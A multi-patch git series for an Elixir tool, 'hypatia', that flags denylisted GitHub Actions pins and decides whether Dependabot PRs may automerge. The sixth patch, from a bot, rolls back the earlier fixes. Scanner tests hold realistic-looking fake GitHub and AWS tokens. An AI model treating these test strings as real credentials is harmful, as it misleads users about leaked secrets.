From 6c4190fffd4feec5e4a4792adfe495ce2bd40126 Mon Sep 17 00:00:00 2001 From: "Jonathan D.A. Jewell" <6759885+hyperpolymath@users.noreply.github.com> Date: Wed, 30 Sep 2026 10:37:26 +0100 Subject: [PATCH 01/17] fix(rules): make hypatia compile again and repair PinIntegrity/PrAutomerge (#869) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - pin_integrity/pr_automerge: escape the in-class `/` in three ~r/…/ sigils (the sigil ended at the bare slash -> MismatchedDelimiterError, #869). - claimed_version/1: Regex.run drops trailing unmatched groups, so the `v`-branch never matched; take the first non-empty capture. - relabel/2 + relabel_line/2: one contract (a `#`-led comment in and out); relabel_line no longer double-prefixes `##`, and a bare claim from pin_sites/1 normalises to `# vX`. - pr_automerge: pin deltas are wrapped per file (flat_map over a map yielded tuples); the verdict carries the scan facts it was decided on; a pin-only change onto the denylist is rejected (close_poison_only) instead of armed; manifest vetoes use string keys like the rest of the manifest. - test: the permissions-block fixture now actually edits the block. mix compile --warnings-as-errors: clean. mix test: 1673 tests, 0 failures (242 :verisim_data excluded as before). Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QFphKkDVB9pUDSCD4bkz65 --- lib/rules/pin_integrity.ex | 32 ++++++++++++---- lib/rules/pr_automerge.ex | 63 +++++++++++++++++++++----------- test/rules/pr_automerge_test.exs | 14 +++++-- 3 files changed, 76 insertions(+), 33 deletions(-) diff --git a/lib/rules/pin_integrity.ex b/lib/rules/pin_integrity.ex index 6919d6dc..855f71a2 100644 --- a/lib/rules/pin_integrity.ex +++ b/lib/rules/pin_integrity.ex @@ -53,7 +53,7 @@ defmodule Hypatia.Rules.PinIntegrity do or to the owner as `flag` when the repair is not a substitution. """ - @uses_regex ~r/^\s*-?\s*uses:\s*(?[A-Za-z0-9_.-]+\/[A-Za-z0-9_./-]*?)@(?[^\s#]+)\s*(?:#\s*(?.*?))?\s*$/ + @uses_regex ~r/^\s*-?\s*uses:\s*(?[A-Za-z0-9_.-]+\/[A-Za-z0-9_.\/-]*?)@(?[^\s#]+)\s*(?:#\s*(?.*?))?\s*$/ @doc """ Parse every `uses:` pin site in a workflow file. @@ -284,10 +284,14 @@ defmodule Hypatia.Rules.PinIntegrity do # `v3` is a real shape in the estate (dictask carries a poisoned pin # annotated `# v3`), so a bare major behind a `v` counts. A bare number # without the `v` does not: `# 2 jobs` is prose, not a version claim. - case Regex.run(~r/\b(?:v(\d+(?:\.\d+)*)|(\d+\.\d+(?:\.\d+)?))\b/, comment) do - [_, version, _] when version != "" -> version - [_, _, version] when version != "" -> version - _ -> nil + # Regex.run drops trailing groups that did not participate, so the + # result is one or two captures, never a fixed shape; take the first + # non-empty one. + case Regex.run(~r/\b(?:v(\d+(?:\.\d+)*)|(\d+\.\d+(?:\.\d+)?))\b/, comment, + capture: :all_but_first + ) do + nil -> nil + captures -> Enum.find(captures, &(&1 != "")) end end @@ -362,7 +366,7 @@ defmodule Hypatia.Rules.PinIntegrity do |> String.split("\n") |> Enum.with_index(1) |> Enum.flat_map(fn {line, number} -> - case Regex.run(~r/'(?[A-Za-z0-9_.-]+\/[A-Za-z0-9_./-]+)@(?[^\s']+)'/, line) do + case Regex.run(~r/'(?[A-Za-z0-9_.-]+\/[A-Za-z0-9_.\/-]+)@(?[^\s']+)'/, line) do nil -> [] @@ -512,7 +516,7 @@ defmodule Hypatia.Rules.PinIntegrity do defp relabel_line(line, version) when is_binary(version) do case String.split(line, "#", parts: 2) do - [head, comment] -> head <> "#" <> relabel(comment, version) + [head, comment] -> head <> relabel("#" <> comment, version) _ -> line end end @@ -538,9 +542,14 @@ defmodule Hypatia.Rules.PinIntegrity do @spec relabel(String.t(), nil | String.t()) :: String.t() def relabel(comment, version) when is_binary(comment) and is_binary(version) do body = String.replace_prefix(comment, "#", "") + hashed? = body != comment case Regex.run(~r/^\s*/, body) do [lead] -> + # pin_sites/1 hands over the comment without its `#`; a bare claim + # comes back in the canonical `# vX` shape rather than as `#vX`. + lead = if hashed? or lead != "", do: lead, else: " " + trimmed = String.slice(body, String.length(lead)..-1//1) case Regex.run(~r/^(v?\d+(?:\.\d+)*)(?:\s|$)/, trimmed) do @@ -608,7 +617,14 @@ defmodule Hypatia.Rules.PinIntegrity do |> Enum.map(&Regex.named_captures(@uses_regex, &1)) |> Enum.flat_map(fn %{"action" => action, "ref" => ref} = caps -> - [%{action: action, action_base: action_base(action), ref: ref, comment: Map.get(caps, "comment", "") || ""}] + [ + %{ + action: action, + action_base: action_base(action), + ref: ref, + comment: Map.get(caps, "comment", "") || "" + } + ] _ -> [] diff --git a/lib/rules/pr_automerge.ex b/lib/rules/pr_automerge.ex index 780f12d8..565550bc 100644 --- a/lib/rules/pr_automerge.ex +++ b/lib/rules/pr_automerge.ex @@ -236,13 +236,14 @@ defmodule Hypatia.Rules.PrAutomerge do delta(old, new, nil, nil, :unresolved, "none") end |> Map.put(:file, filename_of(file)) + |> List.wrap() end end end) end) end - defp delta(old, new, from, to, status, source) do + defp delta(old, _new, from, to, status, source) do %{ action: old.action, from: from, @@ -270,7 +271,6 @@ defmodule Hypatia.Rules.PrAutomerge do @spec body_claims(String.t()) :: [map()] def body_claims(body) when is_binary(body) do ~r/(?:Updates|Bumps)\s+\[?`?([A-Za-z0-9_.-]+(?:\/[A-Za-z0-9_.-]+)*)`?\]?(?:\([^)]*\))?\s+from\s+([0-9][^\s]*)\s+to\s+([0-9][^\s]*)/ - |> Regex.scan(body) |> Enum.map(fn [_, action, from, to] -> # Dependabot ends the sentence with a full stop; the version does not @@ -290,17 +290,25 @@ defmodule Hypatia.Rules.PrAutomerge do author = field(pr, :author) repo_archived = field(pr, :repo_archived) == true - base = %{ - change_class: "bump", - change_level: if(scan.pin_only, do: "object", else: "meta"), - route: "Patch-Bridge", - method: "squash", - pool: "P2", - safety: "flag", - attestations: [ - %{bot: "hypatia", verdict: "approve", confidence: 0.9, rationale: "classified from the diff"} - ] - } + # The scan facts ride along on the decision: decision_manifest/2 renders + # deltas and poison_sites, and callers audit the flags that drove the verdict. + base = + Map.merge(scan, %{ + change_class: "bump", + change_level: if(scan.pin_only, do: "object", else: "meta"), + route: "Patch-Bridge", + method: "squash", + pool: "P2", + safety: "flag", + attestations: [ + %{ + bot: "hypatia", + verdict: "approve", + confidence: 0.9, + rationale: "classified from the diff" + } + ] + }) cond do repo_archived -> @@ -313,10 +321,15 @@ defmodule Hypatia.Rules.PrAutomerge do reject(base, :close_poison_and_majors, "introduces_denylisted_pin_and_major_bumps", "P1") scan.poison_sites != [] and scan.pin_only -> - accept(base, :close_poison_only, "introduces_denylisted_pin", "P1") + reject(base, :close_poison_only, "introduces_denylisted_pin", "P1") scan.poison_sites != [] -> - accept(base, :excise_poison_then_merge, "introduces_denylisted_pin_alongside_wanted_updates", "P1") + accept( + base, + :excise_poison_then_merge, + "introduces_denylisted_pin_alongside_wanted_updates", + "P1" + ) scan.major_delta -> reject(base, :flag, "major_version_delta", "P2") @@ -351,7 +364,12 @@ defmodule Hypatia.Rules.PrAutomerge do defp accept(base, disposition, blocked_by, pool) do base - |> Map.merge(%{safety: "arm_auto", pool: pool, disposition: disposition, blocked_by: blocked_by}) + |> Map.merge(%{ + safety: "arm_auto", + pool: pool, + disposition: disposition, + blocked_by: blocked_by + }) end defp reject(base, disposition, blocked_by, pool) do @@ -373,9 +391,9 @@ defmodule Hypatia.Rules.PrAutomerge do def decision_manifest(decision, pr) do vetoes = if decision.safety == "flag" do - [%{bot: "Patch-Bridge", reason: decision.blocked_by}] ++ + [%{"bot" => "Patch-Bridge", "reason" => decision.blocked_by}] ++ if decision.change_level == "meta", - do: [%{bot: "hypatia", reason: "change_level=meta"}], + do: [%{"bot" => "hypatia", "reason" => "change_level=meta"}], else: [] else [] @@ -419,7 +437,7 @@ defmodule Hypatia.Rules.PrAutomerge do # - - uses: actions/checkout@v4.1.7 # so the marker is part of the match. (Without this, every real diff looks # like a non-pin change and every PR falls through to `flag`.) - @pin_re ~r/^[-+]?\s*-?\s*uses:\s*(?[A-Za-z0-9_.-]+\/[A-Za-z0-9_./-]*?)@(?[^\s#]+)/ + @pin_re ~r/^[-+]?\s*-?\s*uses:\s*(?[A-Za-z0-9_.-]+\/[A-Za-z0-9_.\/-]*?)@(?[^\s#]+)/ @doc "Parse a `uses:` line into `%{action, base, ref}`; `nil` when it is not one." def parse_pin(line) do @@ -449,8 +467,11 @@ defmodule Hypatia.Rules.PrAutomerge do |> Enum.reject(&Regex.match?(~r/^[-+]{3}/, &1)) end - defp added_lines(file), do: file |> patch_of() |> content_lines() |> Enum.filter(&String.starts_with?(&1, "+")) - defp removed_lines(file), do: file |> patch_of() |> content_lines() |> Enum.filter(&String.starts_with?(&1, "-")) + defp added_lines(file), + do: file |> patch_of() |> content_lines() |> Enum.filter(&String.starts_with?(&1, "+")) + + defp removed_lines(file), + do: file |> patch_of() |> content_lines() |> Enum.filter(&String.starts_with?(&1, "-")) defp patch_of(file), do: Map.get(file, :patch) || Map.get(file, "patch") || "" diff --git a/test/rules/pr_automerge_test.exs b/test/rules/pr_automerge_test.exs index 645b7b2d..69768896 100644 --- a/test/rules/pr_automerge_test.exs +++ b/test/rules/pr_automerge_test.exs @@ -99,7 +99,8 @@ defmodule Hypatia.Rules.PrAutomergeTest do end test "a body claim is enough when the refs cannot be resolved" do - body = "Bumps [actions/checkout](https://github.com/actions/checkout) from 4.1.7 to 4.2.0.\n" + body = + "Bumps [actions/checkout](https://github.com/actions/checkout) from 4.1.7 to 4.2.0.\n" decision = PA.classify( @@ -283,8 +284,9 @@ defmodule Hypatia.Rules.PrAutomergeTest do @@ -1,4 +1,4 @@ - - uses: github/codeql-action/init@#{@good} # v4.38.0 + - uses: github/codeql-action/init@#{@poison} # v4.38.1 - permissions: {} - contents: read + - permissions: {} + + permissions: + + contents: read """ refute PA.pin_lines_only?(file(".github/workflows/codeql.yml", patch)) @@ -306,7 +308,11 @@ defmodule Hypatia.Rules.PrAutomergeTest do claims = PA.body_claims(body) - assert Enum.any?(claims, &(&1.action == "actions/checkout" and &1.from == "4.1.7" and &1.to == "4.2.0")) + assert Enum.any?( + claims, + &(&1.action == "actions/checkout" and &1.from == "4.1.7" and &1.to == "4.2.0") + ) + assert Enum.any?(claims, &(&1.action == "github/codeql-action/init" and &1.to == "4.38.1")) end From c6b94a31bd5c5e376cdcc21b2bc6ede9b70ef937 Mon Sep 17 00:00:00 2001 From: "Jonathan D.A. Jewell" <6759885+hyperpolymath@users.noreply.github.com> Date: Wed, 30 Sep 2026 10:44:16 +0100 Subject: [PATCH 02/17] fix(pin_integrity): keep a bare claim's first byte in relabel/2; align shell twin MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Promoting the lead to " " before slicing ate the claim's first character, so relabel("4.38.1", …) silently returned its input. Slice first, then promote. relabel_comment in estate-pin-integrity.sh gets the same bare-input normalisation so the two readers stay behaviourally identical. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QFphKkDVB9pUDSCD4bkz65 --- lib/cross_repo_learning.ex | 8 ++++++-- lib/hypatia/scanner_suppression.ex | 3 ++- lib/rules/pin_integrity.ex | 14 +++++++++----- lib/rules/rsr_conformance.ex | 4 +++- scripts/sweeps/estate-pin-integrity.sh | 2 ++ test/rules/pin_integrity_test.exs | 12 ++++++++++-- test/scanner_suppression_test.exs | 19 +++++++++++++++---- test/unified-api-adapter-contract_test.exs | 8 ++++++-- 8 files changed, 53 insertions(+), 17 deletions(-) diff --git a/lib/cross_repo_learning.ex b/lib/cross_repo_learning.ex index 1d3c1d1e..0d4d02cb 100644 --- a/lib/cross_repo_learning.ex +++ b/lib/cross_repo_learning.ex @@ -616,8 +616,12 @@ defmodule Hypatia.CrossRepoLearning do |> Map.get("languages", %{}) |> Enum.sort_by(fn {lang, count} -> count_score = if is_number(count), do: -count, else: 0 - prio = Enum.find_index(@language_priority, &(String.downcase(&1) == String.downcase(lang))) - {count_score, if(prio, do: prio, else: length(@language_priority)), String.downcase(lang)} + + prio = + Enum.find_index(@language_priority, &(String.downcase(&1) == String.downcase(lang))) + + {count_score, if(prio, do: prio, else: length(@language_priority)), + String.downcase(lang)} end) |> List.first({"unknown", 0}) |> elem(0) diff --git a/lib/hypatia/scanner_suppression.ex b/lib/hypatia/scanner_suppression.ex index 88bc6ccd..1375c338 100644 --- a/lib/hypatia/scanner_suppression.ex +++ b/lib/hypatia/scanner_suppression.ex @@ -454,7 +454,8 @@ defmodule Hypatia.ScannerSuppression do # pragmas (`hypatia:ignore RE005 -- `, `hypatia:ignore zig_ptr_cast`) # use the verb form; both are honoured identically. defp directive_re, - do: ~r/(?:^|[\s#\/\-;])hypatia:\s*(?:allow|ignore)\s+([A-Za-z0-9_\*]+)(?:\/([A-Za-z0-9_\*]+))?/i + do: + ~r/(?:^|[\s#\/\-;])hypatia:\s*(?:allow|ignore)\s+([A-Za-z0-9_\*]+)(?:\/([A-Za-z0-9_\*]+))?/i defp directive_matches?(line, rule_module, rule_type) do case Regex.run(directive_re(), line) do diff --git a/lib/rules/pin_integrity.ex b/lib/rules/pin_integrity.ex index 855f71a2..517ae44a 100644 --- a/lib/rules/pin_integrity.ex +++ b/lib/rules/pin_integrity.ex @@ -546,15 +546,19 @@ defmodule Hypatia.Rules.PinIntegrity do case Regex.run(~r/^\s*/, body) do [lead] -> + trimmed = String.slice(body, String.length(lead)..-1//1) + # pin_sites/1 hands over the comment without its `#`; a bare claim # comes back in the canonical `# vX` shape rather than as `#vX`. - lead = if hashed? or lead != "", do: lead, else: " " - - trimmed = String.slice(body, String.length(lead)..-1//1) + # Promoted only after slicing, so the claim's first byte survives. + out_lead = if hashed? or lead != "", do: lead, else: " " case Regex.run(~r/^(v?\d+(?:\.\d+)*)(?:\s|$)/, trimmed) do - [_whole, claim] -> "#" <> lead <> String.replace_prefix(trimmed, claim, "v" <> version) - _ -> comment + [_whole, claim] -> + "#" <> out_lead <> String.replace_prefix(trimmed, claim, "v" <> version) + + _ -> + comment end _ -> diff --git a/lib/rules/rsr_conformance.ex b/lib/rules/rsr_conformance.ex index d86df23a..20935162 100644 --- a/lib/rules/rsr_conformance.ex +++ b/lib/rules/rsr_conformance.ex @@ -392,7 +392,9 @@ defmodule Hypatia.Rules.RsrConformance do # while the estate migrates. Hardcoding either name made whichever half had # not migrated unscoreable. defp present_mr(rel) do - fn repo -> if exists?(repo, Path.join(Hypatia.Paths.machine_tree(repo), rel)), do: :pass, else: :fail end + fn repo -> + if exists?(repo, Path.join(Hypatia.Paths.machine_tree(repo), rel)), do: :pass, else: :fail + end end defp absent(rel), do: fn repo -> if exists?(repo, rel), do: :fail, else: :pass end diff --git a/scripts/sweeps/estate-pin-integrity.sh b/scripts/sweeps/estate-pin-integrity.sh index de6a2917..1a51df73 100755 --- a/scripts/sweeps/estate-pin-integrity.sh +++ b/scripts/sweeps/estate-pin-integrity.sh @@ -119,6 +119,8 @@ relabel_comment() { local body="${comment#\#}" local lead="${body%%[![:space:]]*}" local trimmed="${body#"$lead"}" + # A bare claim (no `#`, no leading space) normalises to `# vX`, as relabel/2 does. + [ "$body" = "$comment" ] && [ -z "$lead" ] && lead=" " if printf '%s' "$trimmed" | grep -qE '^v?[0-9]+(\.[0-9]+)*([[:space:]]|$)'; then printf '%s%s' "#${lead}" \ "$(printf '%s' "$trimmed" | sed -E "0,/^v?[0-9]+(\.[0-9]+)*/s//v${version}/")" diff --git a/test/rules/pin_integrity_test.exs b/test/rules/pin_integrity_test.exs index 258eb3d3..1e323b1d 100644 --- a/test/rules/pin_integrity_test.exs +++ b/test/rules/pin_integrity_test.exs @@ -91,7 +91,10 @@ defmodule Hypatia.Rules.PinIntegrityTest do describe "denylisted?/3" do test "matches the SHA, the tag and the bare version — all three spellings" do assert %{"id" => "PIN-001"} = PI.denylisted?(@policy, "github/codeql-action/init", @poison) - assert %{"id" => "PIN-001"} = PI.denylisted?(@policy, "github/codeql-action/analyze", "v4.38.1") + + assert %{"id" => "PIN-001"} = + PI.denylisted?(@policy, "github/codeql-action/analyze", "v4.38.1") + assert %{"id" => "PIN-001"} = PI.denylisted?(@policy, "github/codeql-action/init", "4.38.1") end @@ -183,7 +186,10 @@ defmodule Hypatia.Rules.PinIntegrityTest do describe "claimed_version/1" do test "reads the estate's real comment shapes" do assert PI.claimed_version("v4.38.0") == "4.38.0" - assert PI.claimed_version("v4.38.0 (4.38.1 blocked estate-wide; nexia-list#100)") == "4.38.0" + + assert PI.claimed_version("v4.38.0 (4.38.1 blocked estate-wide; nexia-list#100)") == + "4.38.0" + assert PI.claimed_version("v3") == "3" assert PI.claimed_version("Pinned to v1.2.3 — do not move") == "1.2.3" end @@ -201,6 +207,8 @@ defmodule Hypatia.Rules.PinIntegrityTest do # The comment arrives from pin_sites/1 without its leading `#`. assert PI.relabel("v3", "4.38.0") == "# v4.38.0" assert PI.relabel("# v3", "4.38.0") == "# v4.38.0" + # A bare claim without the `v` must keep its first digit. + assert PI.relabel("4.38.1", "4.38.0") == "# v4.38.0" end test "leaves a comment that already carries the good version byte-identical" do diff --git a/test/scanner_suppression_test.exs b/test/scanner_suppression_test.exs index b94bbca9..b067741a 100644 --- a/test/scanner_suppression_test.exs +++ b/test/scanner_suppression_test.exs @@ -554,17 +554,28 @@ defmodule Hypatia.ScannerSuppressionTest do test "ghp_/glpat_ with xxxxx filler is a placeholder (both spellings)" do assert ScannerSuppression.placeholder_secret_line?(~s{# token = "ghp_xxxxxxxxxxxxxxxxxxxx"}) - assert ScannerSuppression.placeholder_secret_line?(~s{# token = "glpat-xxxxxxxxxxxxxxxxxxxx"}) + + assert ScannerSuppression.placeholder_secret_line?( + ~s{# token = "glpat-xxxxxxxxxxxxxxxxxxxx"} + ) end test "your-* and changeme fillers are placeholders" do - assert ScannerSuppression.placeholder_secret_line?(~s{webhook_secret = "your-webhook-secret"}) + assert ScannerSuppression.placeholder_secret_line?( + ~s{webhook_secret = "your-webhook-secret"} + ) + assert ScannerSuppression.placeholder_secret_line?("password = \"changeme\"") end test "a real-looking value is NOT a placeholder (both directions)" do - refute ScannerSuppression.placeholder_secret_line?("token = \"ghp_7Qj3vKpLmN5xRtYwZbC8dFgH4jK6mP9qS2vU\"") - refute ScannerSuppression.placeholder_secret_line?("AWS_SECRET_ACCESS_KEY = \"AKIA1a2B3c4D5e6F7g8H\"") + refute ScannerSuppression.placeholder_secret_line?( + "token = \"ghp_7Qj3vKpLmN5xRtYwZbC8dFgH4jK6mP9qS2vU\"" + ) + + refute ScannerSuppression.placeholder_secret_line?( + "AWS_SECRET_ACCESS_KEY = \"AKIA1a2B3c4D5e6F7g8H\"" + ) end test "placeholder demotes to medium/report regardless of comment" do diff --git a/test/unified-api-adapter-contract_test.exs b/test/unified-api-adapter-contract_test.exs index 47e8be84..c86f53a1 100644 --- a/test/unified-api-adapter-contract_test.exs +++ b/test/unified-api-adapter-contract_test.exs @@ -93,7 +93,9 @@ defmodule Hypatia.UnifiedApiAdapterContractTest do test "the JSON manifest numbers connectors sequentially from zero" do conns = - Path.join(@root, "ffi/connectors.json") |> File.read!() |> Jason.decode!() + Path.join(@root, "ffi/connectors.json") + |> File.read!() + |> Jason.decode!() |> Map.fetch!("connectors") # Derived from the golden, never a hand-written 16: the count is pinned by @@ -113,7 +115,9 @@ defmodule Hypatia.UnifiedApiAdapterContractTest do "scraped #{map_size(ids)} wire ids but #{length(golden_names())} names from #{@golden_path}" conns = - Path.join(@root, "ffi/connectors.json") |> File.read!() |> Jason.decode!() + Path.join(@root, "ffi/connectors.json") + |> File.read!() + |> Jason.decode!() |> Map.fetch!("connectors") for %{"id" => id, "name" => name} <- conns do From 727cbb9cd76d86deb620970dc721ca6fc42d85fd Mon Sep 17 00:00:00 2001 From: "Jonathan D.A. Jewell" <6759885+hyperpolymath@users.noreply.github.com> Date: Wed, 30 Sep 2026 10:47:32 +0100 Subject: [PATCH 03/17] fix(mise): drop banned runtimes and Python-only tools (#832 regression) #832 was closed on 2026-09-27 but mise.toml still provisioned python and denojs, so Language Policy Blockers has been red on main since. Removes the banned runtimes, the tools only they can run (pip, black, isort, ruff, pytest), the orphaned PYTHON* env, and the alias fallbacks that called them. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QFphKkDVB9pUDSCD4bkz65 --- mise.toml | 13 ++----------- 1 file changed, 2 insertions(+), 11 deletions(-) diff --git a/mise.toml b/mise.toml index e4dfbb2e..2bb8e171 100644 --- a/mise.toml +++ b/mise.toml @@ -1,27 +1,21 @@ [tools] # Language runtimes node = "latest" -python = "latest" rust = "latest" go = "latest" zig = "0.16.0" # pinned; .github/workflows/zig.yml asserts this equals ZIG_VERSION java = "latest" bun = "latest" -denojs = "latest" # Package managers npm = "latest" yarn = "latest" pnpm = "latest" -pip = "latest" cargo = "latest" go-task = "latest" # Formatting & Linting gofmt = "latest" -black = "latest" -isort = "latest" -ruff = "latest" prettier = "latest" shfmt = "latest" stylua = "latest" @@ -39,19 +33,16 @@ gnu-grep = "latest" # Testing vitest = "latest" -pytest = "latest" jest = "latest" [env] # Common environment variables NODE_ENV = "development" -PYTHONDONTWRITEBYTECODE = "1" -PYTHONUNBUFFERED = "1" # Task runner alias [alias] task = "go-task" build = "cargo build --release || npm run build || go build" test = "cargo test || npm test || go test ./..." -lint = "ruff check . || prettier --check . || black --check ." -fmt = "ruff format . || prettier --write . || black ." +lint = "prettier --check ." +fmt = "prettier --write ." From 9975196d6f81a226c9539bea00aa7511a02cdc4d Mon Sep 17 00:00:00 2001 From: "coderabbitai[bot]" <136622811+coderabbitai[bot]@users.noreply.github.com> Date: Wed, 30 Sep 2026 09:50:46 +0000 Subject: [PATCH 04/17] docs(rules): clarify pin integrity and PR automerge function contracts --- lib/rules/pin_integrity.ex | 18 ++++++++++++++++-- lib/rules/pr_automerge.ex | 32 ++++++++++++++++++++++++-------- 2 files changed, 40 insertions(+), 10 deletions(-) diff --git a/lib/rules/pin_integrity.ex b/lib/rules/pin_integrity.ex index 517ae44a..0249b1f1 100644 --- a/lib/rules/pin_integrity.ex +++ b/lib/rules/pin_integrity.ex @@ -277,7 +277,9 @@ defmodule Hypatia.Rules.PinIntegrity do # v3 # Pinned to v1.2.3 — do not move - Returns `nil` when the comment makes no version claim. + Returns the first matching version without its `v` prefix. A bare major + such as `3` is ignored unless prefixed with `v`; dotted versions need no + prefix. Returns `nil` when there is no match or the input is not a string. """ @spec claimed_version(String.t()) :: nil | String.t() def claimed_version(comment) when is_binary(comment) do @@ -359,6 +361,11 @@ defmodule Hypatia.Rules.PinIntegrity do @doc """ Extract `action@sha` pairs from a `gh actions-lock` file (TOML-ish), keyed by the resolved SHA or ref. Used by PI003 and PI004. + + Reads the first single-quoted `action@ref` on each line and returns + `%{ref => {action_base, line_number}}`, with one-based line numbers and + action paths reduced to their first two segments. Later entries replace + earlier ones with the same ref; no matches produce an empty map. """ @spec locked_refs(String.t()) :: %{String.t() => {String.t(), integer()}} def locked_refs(content) do @@ -527,8 +534,15 @@ defmodule Hypatia.Rules.PinIntegrity do Relabel a pin's inline comment — but only when the comment **leads** with a version claim. - Both estate shapes are covered: + `version` is the replacement without a `v` prefix. The leading claim must + end at whitespace or the end of the comment. A rewritten comment has one + leading `#`; existing whitespace and trailing prose are preserved. Bare + claims with no leading whitespace gain a space after `#`. A `nil` version + leaves the comment unchanged. + + With `version` set to `"4.38.0"`, these estate shapes are covered: + "v3" -> "# v4.38.0" "# v3" -> "# v4.38.0" "# v4.38.0 (4.38.1 blocked estate-wide; …)" -> unchanged diff --git a/lib/rules/pr_automerge.ex b/lib/rules/pr_automerge.ex index 565550bc..b230ac91 100644 --- a/lib/rules/pr_automerge.ex +++ b/lib/rules/pr_automerge.ex @@ -191,8 +191,18 @@ defmodule Hypatia.Rules.PrAutomerge do @doc """ Version deltas for every action this PR re-pins. - `status` is one of `:ok`, `:unresolved` (no source could place a version on - the refs) or `:conflict` (upstream tags and the PR body disagree). `source` + Each removed pin is paired with the first added pin for the same action + in the same file. Unpaired pins and unchanged refs are omitted. Returns a + flat list of maps with `:action`, `:file`, `:from`, `:to`, `:status`, + `:source` and `:major?`. + + `resolution` supplies versions keyed by `{action, ref}`, then + `{action_base, ref}`, then `ref`, in that order of preference. If either + ref is unresolved, a matching claim from `body_claims/1` supplies both + versions; without a claim, both are `nil`. + + `status` is one of `:ok`, `:unresolved` (no source supplied both versions) + or `:conflict` (resolved versions and the PR body disagree). `source` records which source produced the versions that were used, so a reviewer can see exactly what the decision rested on. """ @@ -380,12 +390,18 @@ defmodule Hypatia.Rules.PrAutomerge do @doc """ Render a decision as the frozen merge-orchestration manifest. - Conforms to - `docs/design/merge-orchestration/schemas/decision-manifest.schema.json`; - the two contract invariants hold by construction — any denial sets - `safety: "flag"` and records a veto, and a `meta` change level can only - reach `arm_auto` through the `MGX-001` pin-only exemption, which the - actuator re-proves from the diff. + Takes the decision from `classify/2` and PR metadata with atom or string + keys. Includes pin deltas, the denylisted-site count and the current UTC + timestamp in ISO 8601 format. The author kind is always `"dependabot"`. + + A decision with `safety: "flag"` gets a string-keyed Patch-Bridge veto, + plus a hypatia veto when its change level is `"meta"`, and + `"clamped_by" => "veto"`. Other safety values produce no vetoes and a + `nil` clamp. Safety and change level are copied from the decision; + this function does not validate the result against + `docs/design/merge-orchestration/schemas/decision-manifest.schema.json`. + + Missing required keys in the decision or its delta maps raise `KeyError`. """ @spec decision_manifest(map(), map()) :: map() def decision_manifest(decision, pr) do From 963edfd2601ec55db9b46c95cb537b90c8734560 Mon Sep 17 00:00:00 2001 From: "coderabbitai[bot]" <136622811+coderabbitai[bot]@users.noreply.github.com> Date: Wed, 30 Sep 2026 09:50:52 +0000 Subject: [PATCH 05/17] docs(scanner): replace credential examples in suppression comment --- lib/hypatia/scanner_suppression.ex | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/hypatia/scanner_suppression.ex b/lib/hypatia/scanner_suppression.ex index 1375c338..c1a7ccd0 100644 --- a/lib/hypatia/scanner_suppression.ex +++ b/lib/hypatia/scanner_suppression.ex @@ -277,7 +277,7 @@ defmodule Hypatia.ScannerSuppression do # # Measured 2026-09-03 across 73 repos with a live gate: 45 of 614 critical # findings were commented-out placeholders from templates - # (`# export API_KEY="..."`, `# token = "ghp_xxxxxxxxxxxxxxxxxxxx"`), zero + # (API keys filled with ellipses or GitHub tokens filled with x's), zero # real credentials. The shapes below are placeholder tell-tales: ellipses, # angle-bracket metavariables, long same-character runs, `your-*`/`my-*` # fillers, `changeme`. They cannot plausibly occur in a real generated From 9167ac7aab0aa04f2a4af502ba8781743f55b4be Mon Sep 17 00:00:00 2001 From: "coderabbitai[bot]" <136622811+coderabbitai[bot]@users.noreply.github.com> Date: Wed, 30 Sep 2026 09:53:30 +0000 Subject: [PATCH 06/17] chore(rules): roll back pin integrity and PR automerge fixes --- lib/cross_repo_learning.ex | 8 +- lib/hypatia/scanner_suppression.ex | 3 +- lib/rules/pin_integrity.ex | 49 +++--------- lib/rules/pr_automerge.ex | 91 +++++++--------------- lib/rules/rsr_conformance.ex | 4 +- scripts/sweeps/estate-pin-integrity.sh | 2 - test/rules/pin_integrity_test.exs | 12 +-- test/rules/pr_automerge_test.exs | 14 +--- test/scanner_suppression_test.exs | 19 +---- test/unified-api-adapter-contract_test.exs | 8 +- 10 files changed, 53 insertions(+), 157 deletions(-) diff --git a/lib/cross_repo_learning.ex b/lib/cross_repo_learning.ex index 0d4d02cb..1d3c1d1e 100644 --- a/lib/cross_repo_learning.ex +++ b/lib/cross_repo_learning.ex @@ -616,12 +616,8 @@ defmodule Hypatia.CrossRepoLearning do |> Map.get("languages", %{}) |> Enum.sort_by(fn {lang, count} -> count_score = if is_number(count), do: -count, else: 0 - - prio = - Enum.find_index(@language_priority, &(String.downcase(&1) == String.downcase(lang))) - - {count_score, if(prio, do: prio, else: length(@language_priority)), - String.downcase(lang)} + prio = Enum.find_index(@language_priority, &(String.downcase(&1) == String.downcase(lang))) + {count_score, if(prio, do: prio, else: length(@language_priority)), String.downcase(lang)} end) |> List.first({"unknown", 0}) |> elem(0) diff --git a/lib/hypatia/scanner_suppression.ex b/lib/hypatia/scanner_suppression.ex index c1a7ccd0..b8d1b01e 100644 --- a/lib/hypatia/scanner_suppression.ex +++ b/lib/hypatia/scanner_suppression.ex @@ -454,8 +454,7 @@ defmodule Hypatia.ScannerSuppression do # pragmas (`hypatia:ignore RE005 -- `, `hypatia:ignore zig_ptr_cast`) # use the verb form; both are honoured identically. defp directive_re, - do: - ~r/(?:^|[\s#\/\-;])hypatia:\s*(?:allow|ignore)\s+([A-Za-z0-9_\*]+)(?:\/([A-Za-z0-9_\*]+))?/i + do: ~r/(?:^|[\s#\/\-;])hypatia:\s*(?:allow|ignore)\s+([A-Za-z0-9_\*]+)(?:\/([A-Za-z0-9_\*]+))?/i defp directive_matches?(line, rule_module, rule_type) do case Regex.run(directive_re(), line) do diff --git a/lib/rules/pin_integrity.ex b/lib/rules/pin_integrity.ex index 0249b1f1..d0222f66 100644 --- a/lib/rules/pin_integrity.ex +++ b/lib/rules/pin_integrity.ex @@ -277,23 +277,17 @@ defmodule Hypatia.Rules.PinIntegrity do # v3 # Pinned to v1.2.3 — do not move - Returns the first matching version without its `v` prefix. A bare major - such as `3` is ignored unless prefixed with `v`; dotted versions need no - prefix. Returns `nil` when there is no match or the input is not a string. + Returns `nil` when the comment makes no version claim. """ @spec claimed_version(String.t()) :: nil | String.t() def claimed_version(comment) when is_binary(comment) do # `v3` is a real shape in the estate (dictask carries a poisoned pin # annotated `# v3`), 